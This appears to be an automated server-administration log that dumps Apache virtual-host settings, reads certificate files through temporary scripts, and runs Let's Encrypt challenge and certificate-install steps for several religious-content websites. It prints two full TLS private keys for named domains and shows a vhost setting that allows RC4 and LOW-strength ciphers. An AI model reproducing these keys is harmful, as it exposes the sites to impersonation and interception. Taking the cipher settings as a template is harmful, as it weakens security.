         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-08 06:00:23: 

PUT: /tmp/pkp519604

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-08 06:00:23: 

chmod 755 /tmp/pkp519604; /tmp/pkp519604; rm /tmp/pkp519604

2026-07-08 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf	1432

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-08 06:00:23: 

PUT: /tmp/pkp497119

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-08 06:00:23: 

chmod 755 /tmp/pkp497119; /tmp/pkp497119; rm /tmp/pkp497119

2026-07-08 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt	7453
c7:fb:0c:25:77:0a:c2:a6:f8:4b:11:e6:cd:8f:9f:8e

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBbF5nP3NVG3K52EudbfCMf4iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzA4MDUwMTUxWhcNMjYxMDA2MDUwMTUwWjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL/oGJLhBfXWiAn6u3DDOEsGtkR3AIqVS7eTX7wN5SNGoK4aPaahFbnmN4Os
a71Ddy6c+Elll/AiGBZTX7aEU6dFtVOSHwHdqy6ajLpV+MrRHIfqr2XlGxxgD2lK
qkyarjZf0VO4My4epmkaafZ2OvcB/s6Juk716aTzLSnLjsDp++3aP4sUH3PAjYFH
/Pz+nkr2d+Dra6NBnC0MuYsfhuLIkmyN8gqF4wqL8schK3ACZRm9Jzw9Ti1UdIE6
/eQZdPrdH2jJ7ZllJkQ6AK2lHUVaiw8Q32fR4l8A3oDGCDHjx70ntjyrau6nhG8s
7I39H6YJ54P+IRsVoQA8JXQwovkCAwEAAaOCAjYwggIyMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTY
Mi8CRGCf4jahnhaV6SNNMr3nbzAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIf
gQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWdvc3BlbHN0dWRpZXMubmV0ghV3d3cuZ29z
cGVsc3R1ZGllcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy8zNS5jcmwwggEMBgorBgEEAdZ5
AgQCBIH9BIH6APgAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZ9AUCIAAAAEAwBIMEYCIQDter5YzMBQYSqApoMtR1ULv31yONCLLfUXVvEXSsvI
2gIhAM8mc8Wsv9HePMewSF8d3YAvObD+9ztUridiiLDKdUveAH0AbP5QGUOoXqkW
vFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfQFAicgAIAAAFABQg/3IEAwBGMEQC
IGwhYpt0c/dsFv0RVpxFjSIlqp2Fvuymai4lNFIVIHlZAiAEw0AGg/RuwDvYdoVg
sJozXq46EPjp+pAkN4faDiSMXzANBgkqhkiG9w0BAQsFAAOCAQEAMynGMEr5+l/4
r4JzGbN794d4SzOArow8CGkKTSOIPBy5gxmHHibYBdEht2oC0Knsjn1iIlq+NY1E
9LnQn64lmBgYH18JqnFycDF/aQAQIEFjYsJRRHazFhObtK0gDuPzy8CghWnqoei0
Oq+Ki6rB08R1GHftU4bzcGeLpYo4xoa7pXtA/vdbKBa2yP5mK5e4QnUPGZFtBkWx
fWTn6jnNT52yuLuArxDgSLilc7HhHTl7WYqniFE3zuUiugUctuy/aTaXlMSO9Gb+
tmp7b0nfT5eV8GXS791lxKeYJmubVr+drJmdDOTrxAEgbK6EsOJxh1CxHDyqbrJS
8YHVQjij9w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/6BiS4QX11ogJ
+rtwwzhLBrZEdwCKlUu3k1+8DeUjRqCuGj2moRW55jeDrGu9Q3cunPhJZZfwIhgW
U1+2hFOnRbVTkh8B3asumoy6VfjK0RyH6q9l5RscYA9pSqpMmq42X9FTuDMuHqZp
Gmn2djr3Af7OibpO9emk8y0py47A6fvt2j+LFB9zwI2BR/z8/p5K9nfg62ujQZwt
DLmLH4biyJJsjfIKheMKi/LHIStwAmUZvSc8PU4tVHSBOv3kGXT63R9oye2ZZSZE
OgCtpR1FWosPEN9n0eJfAN6Axggx48e9J7Y8q2rup4RvLOyN/R+mCeeD/iEbFaEA
PCV0MKL5AgMBAAECggEAGhEmtVzHeHspg2GBcHG0BczlmSso8aoR3N+x01N32nDP
hpad5TJgRx4UUFhtUgoF+FjuCNo55y5aYz3z9FDJJCF93dotSA2aIPxxPSZMYxBA
dd3U8VxLcHFD5qNzunAQVeZyApM0sIENTZ1+4zFwFPk6aUef/PW+RN+bNOAnheCG
TPwNX2PMJtSruC+mFP8ytPgTOWAXwwly+P0UBPgQUpxByMNViXi/1nzsQX0OeRzh
gVjiqD9z79cWjfn8PuQl+I3N81imnSO2/vE3bEUbPPC3UdizOxdVeazjQ7o6KgEv
3ozpi4Kv8/kGIY+sXWdq1ad4nvp7N777DJbGgR+wuQKBgQDlw13YiskpjzK0IaSZ
MNoyrGT8jU55ZlTUm3Zedsn20lsq0am+uXKWsyGfoQN7hGRhFs/NRvHRmERtOqZs
KgJJSIgOeU7CGlSnjYV4s4Zi00TTZSWfFQMv6juxWQf2dlOmmx58dfvTBJ+zHuEy
m5Sn/DlJX0l/Vnkd+Odursg/JwKBgQDV0hMyZAxIPIdVhjEKvtHHlNNjeT9k1U4n
CAJ0jqql5oompB6DH+RFSf4PU6FXK2uOnc3j9kT7bG1r9EK4Ab46Ok36LxNbLrTP
2UQFX/bTsYZ/SF9monMd3Y1qyzcVlFs4FsxQe4HE7fiSuGdkra8IHFGdyQ1fRiE7
5Q6STzVg3wKBgQDXL5E+FEVwween4vZobuN8oA74pVNAycFbWbqToEdo/fxabwC+
WqriTySHf2JmlUj50UaPqAkk1qoHbu2c0f9QKTkb7SsBCW4NerLtp52OAvYr0khY
5HIWtxZu88ZMYufXWuJDiLBwIp17QcmB/0pLxiLVAAQy2YcXthzygYmT8wKBgQCi
gawHY1SWXjJ5RKjnQsnLRwg2FQOiTh+8uHCtR3TY69NZtOhfvhBOvQKzgVshFiYD
2VmPBS++atTq9FT05pY+SOvU1ox+g4v2YGk7MIk2sTjIaiffqF2XeDgvz00JQJzn
jyQvkv64vihq0m36baqWnndFVXWtUG6Xx+oANuUZvwKBgEcS6cFoXv87k1X8XkPp
9L6AYmVZXjJJF6IecuXBcHJ95TSjypt+QJ4QFs3Iu4QnVgPd03vElbhnlREsbKza
C0qoqGQKpF8Y53L/jRboPFMXxIfNJxJamlfZ8A9GLqW7nfBsDTYvJOJcjbHM67gn
CB73EPvytmUSSLYvhP0/jOup
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-08 06:00:23: Establishing a connection
2026-07-08 06:00:23: Establishing a connection
2026-07-08 06:00:24: 

PUT: /tmp/pkp653907

#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-08 06:00:24: 

chmod 755 /tmp/pkp653907; /tmp/pkp653907; rm /tmp/pkp653907

2026-07-08 06:00:24: 


1


2026-07-08 06:00:24: Establishing a connection
2026-07-08 06:00:24: 

PUT: /tmp/pkp652409

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > UBj2vLnB-zepRqy30SfIqS0BQIKBsBo5Trmf7_CWKzo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UBj2vLnB-zepRqy30SfIqS0BQIKBsBo5Trmf7_CWKzo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UBj2vLnB-zepRqy30SfIqS0BQIKBsBo5Trmf7_CWKzo
cat > qrepQXcZLP7xNfYiebNjSXjUwFeNPtlNBFrBEyOAC7g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qrepQXcZLP7xNfYiebNjSXjUwFeNPtlNBFrBEyOAC7g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qrepQXcZLP7xNfYiebNjSXjUwFeNPtlNBFrBEyOAC7g


2026-07-08 06:00:24: 

chmod 755 /tmp/pkp652409; /tmp/pkp652409; rm /tmp/pkp652409

2026-07-08 06:00:25: 




2026-07-08 06:00:35: Establishing a connection
2026-07-08 06:00:36: 

PUT: /tmp/pkp480484

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm UBj2vLnB-zepRqy30SfIqS0BQIKBsBo5Trmf7_CWKzo
rm qrepQXcZLP7xNfYiebNjSXjUwFeNPtlNBFrBEyOAC7g


2026-07-08 06:00:36: 

chmod 755 /tmp/pkp480484; /tmp/pkp480484; rm /tmp/pkp480484

2026-07-08 06:00:36: 




2026-07-08 06:00:36: Establishing a connection
2026-07-08 06:00:36: 

PUT: /tmp/pkp632129

#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt

cat > $temp_file <<'endmsg'
2e:93:a2:6b:d2:ce:2b:d8:46:24:92:52:33:53:5b:36

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBddy1vC4TCPqLfq+NpENoVWqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzA4MDUwMjA0WhcNMjYxMDA2MDUwMjAzWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAzmiyBrJTSAKTGAmXQATd7zST5MG3OZpsMSdLokw5xhhTMkQuNjh6iMG9
uq+26Pf+c1MLdo01Jnag5qfOPoCz2/qYNSX+P/1gcRE0FrKcEumcE+TB682IP6ty
kegfvvfSb6OT7/BFkX7D0QY8jEEfVydReic4mF92z3gM3DcRKQWw596fEVOlA3Bx
D1NF1UTWb/z5b7bUT9/dY8G4bHc917dN8IVpbQavYlsidaOF7gfMgLqL9FwvAlak
3PHyQ4tu+7HaTE2IjkyWPquAH59B2rBSMR9MDio5prU33q44a6SWaE/D7LAXcDA8
m0oPCoB0mR9WspIOjpnqnk1jeD0XkwIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMzy8FTnRO8N+nSpsBMFdg4rR4f8MB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3W
Mh+BDIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYWxldGhlaWFjb2xsZWdlLm5ldIIXd3d3
LmFsZXRoZWlhY29sbGVnZS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9yZy80My5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdwCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv
54WHOgAAAZ9AUFhbAAAEAwBIMEYCIQCn0gRYR4dIKcTQlwutuNRJgmXlko9Z3yFC
zOuvFMN0jAIhAJalUhEIFD4t3NQXqdG/DnLtnTCtpMo9GjM+5+zHJmF/AH0AbP5Q
GUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfQFBZIwAIAAAFABQhAZUE
AwBGMEQCICEQIl8r9Nbkuc0viM6GUJXs93eab7+Up0ttoFq0RzozAiAxed3N6c01
bdNeuMcwyXsGVZ6gc2MQW8IdgwMslnakqzANBgkqhkiG9w0BAQsFAAOCAQEAx6Fp
P5pe4Q7+n6Ti2vOCD3SdGjWPRI1exqjSJrXwZAu9OMxNfivigMrtGdFCjuqdlwog
X1XgIkjYUw2/kacurh9pdl4LwKnZ+83sVgs4kAgLM0+n0U1vP6zGL60v77OdTlPR
c4L9kuOwkNuEPt4D7tqdu6edwh9h7PSLkmNguAT2XT0gPyfL9d6F4HdJ96/cIcFe
oa3bWsEgns31HQBe/yo/vvVol29k19bBFupTV5q1kXfwX/1hJ1jWG5Y65w2FZx7+
ScqDiaCfJl4oshayU8exKqQMP6SGOZdNJP2kM42HwPYWzsfMC1VTcilhZaby4LCi
TOhCp9ighZhQhJfegg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDOaLIGslNIApMY
CZdABN3vNJPkwbc5mmwxJ0uiTDnGGFMyRC42OHqIwb26r7bo9/5zUwt2jTUmdqDm
p84+gLPb+pg1Jf4//WBxETQWspwS6ZwT5MHrzYg/q3KR6B++99Jvo5Pv8EWRfsPR
BjyMQR9XJ1F6JziYX3bPeAzcNxEpBbDn3p8RU6UDcHEPU0XVRNZv/PlvttRP391j
wbhsdz3Xt03whWltBq9iWyJ1o4XuB8yAuov0XC8CVqTc8fJDi277sdpMTYiOTJY+
q4Afn0HasFIxH0wOKjmmtTferjhrpJZoT8PssBdwMDybSg8KgHSZH1aykg6Omeqe
TWN4PReTAgMBAAECggEALV7C/wjUmIgEWCzHg8luFSXb+lUAVteUP4uxKtgRfPMc
2ng1JjLs8EGR2EbGcFgOpL/UzbbFP5Kk1H5/LarxngFr0obq55rkx4WuCu0wtFGI
PrEyVQglEkW31c2NqNbleSeeHYgVaqFQHpJ93aB06J3aYXzcilW1km4DeaZbDcZu
fkdAQF9QHAjIA9ngScTCnUcnEtUPtmVXFmufT747OYLPJ/WUgHT8jFtK/yGPLbZC
Ss4a8kWH4CzegeUJUQXSKnN/ri1zNNH7R3YaSdKmAbUEKOAUqe350MSXdXQj66ub
pYCRifFhHBi/5Mr2t/3pyIl80UXTIgKgPG6HocwISQKBgQD7xLWUBLgHA1FBTzDy
xnudfse26uPYN1AMgcYwXo6glNLg0Hl57c4acSztjjYBN7cs+CVc3xiVKThTb+MO
a+vUfY5YUBxYGiVswwk/IFL7e0QyXHf8pSvFAEvU77gEcgRgS6ENc2NThU5qhc45
IkDYDa+s0ntLwzXnoXo8r9zuawKBgQDR4NEe42wmtN9cc3sY0dSmuMoPGUfWTD0n
jBd0Vv23ygEos7y0StCIVh0YhmyCQ4rHVuNTzxrHRGE4/Hgii9GgHw1WCxBr7/OE
jSh5R4Cqs5FNuedo0o0ZWyvC8wVIsMgzCSOy0BO6drl7DLvq5UK3bt1QK/EdYExP
RwXZ2uz1eQKBgQCWmmXP5D69GzPo8FkkcKyTWrpW5g1jUjsVMDAA0R9aWYwHpU11
LVaDpL2uYMpXUh/Fy6517pJC78RczOoyv0Xz9yNGGq3J2eIXPFf0pf5dpq/1vDCe
NaOIFZRHDRqztgx+Gd9+L070MCLnP6FLtfy6AP3cUJAmkuBU7dg0IzLyfwKBgQCs
aN/BXRfCMEFwxBjySaVEFHdAsgbWXyi5rRazZqbkbRhIpGY3QWJPLVaXiA3pcKy3
loQGnBKmcWDgnF3gGzXoMLoW3d3unV5RnFgMURW8pOiPjlEwRg7NLp0jd9n2XesI
KdDempoqSk+SauKQUydcYsGBk6dt92aYlYKT9YlFGQKBgQCNDZ8zF6Rk9QVn+99X
5ASi018Az3rpXFu2iAsdmVDhC3+HeDz1f5wE4bLJmDiFpPUkK60o7j0zvIVoib0j
GtWaILDeDY0ppZc3cF1amZU86jTW/4uPF1ADmVota2YA8/K7OVo5eICVjITOJOgq
jux1csgktOsIGjxGLhVsPaLriQ==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
